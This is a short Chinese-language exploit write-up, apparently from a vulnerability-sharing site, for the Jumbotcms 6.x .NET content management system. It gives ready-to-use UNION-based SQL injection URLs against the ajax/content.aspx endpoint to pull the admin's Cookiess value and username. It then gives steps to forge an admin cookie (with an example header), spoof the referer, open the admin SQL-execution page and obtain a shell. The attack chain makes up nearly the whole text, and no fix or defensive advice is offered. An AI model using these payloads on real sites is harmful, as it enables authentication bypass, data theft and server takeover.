Jumbotcms 6.x 通过注射by pass 后台权限认证

Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。
这次出现的问题主要是新改的权限认证方面和注射

通过注射,获得cookiess字段,再伪造cookie绕过后台认证

Q1 为什么不查密码?

密码没用,不能解码

Q2 为什么不直接update数据库?

限制了分号。

注射步骤:

获得Cookiess字段

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 Cookiess FROM jcms_normal_user where AdminState=1

获得用户名(MSSQL的substring下表是从1开始的)

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,1,1)) FROM jcms_normal_user where AdminState=1

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,2,1)) FROM jcms_normal_user where AdminState=1

注意:这里的cType=paper是模块名称,当前能试用这个注射的只有三种模块paper、soft、document。某些二次开发的站点可能删掉了soft,不过document或者paper基本都应该存在吧。测试的时候如果不好使,可以换一个模块试试

权限绕过步骤:

1 首先获取cookie中的版本号,随便访问页面即可获得。再到浏览器地址栏输入javascript:alert(document.cookie)

2 加入cookie的名称为:版本号admin

然后为先建的cookie中加多个子集

id=用户id

name=用户名

cookiess=cookiess(从上方获得的cookiess是数字,前面必须加一个小写的c,比如c59268931)

exp code:

http头的cookie例子:

jcmsV6.8.0.0801admin=id=1&name=123&cookiess=c59268931

3 伪造referer

4 访问:/admin/executesql_default.aspx 试试

或者直接访问 /admin/

5 getshell

方法比较多,毕竟后台有那么多功能,比如exec sql

ps.利用方法真蛋疼

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录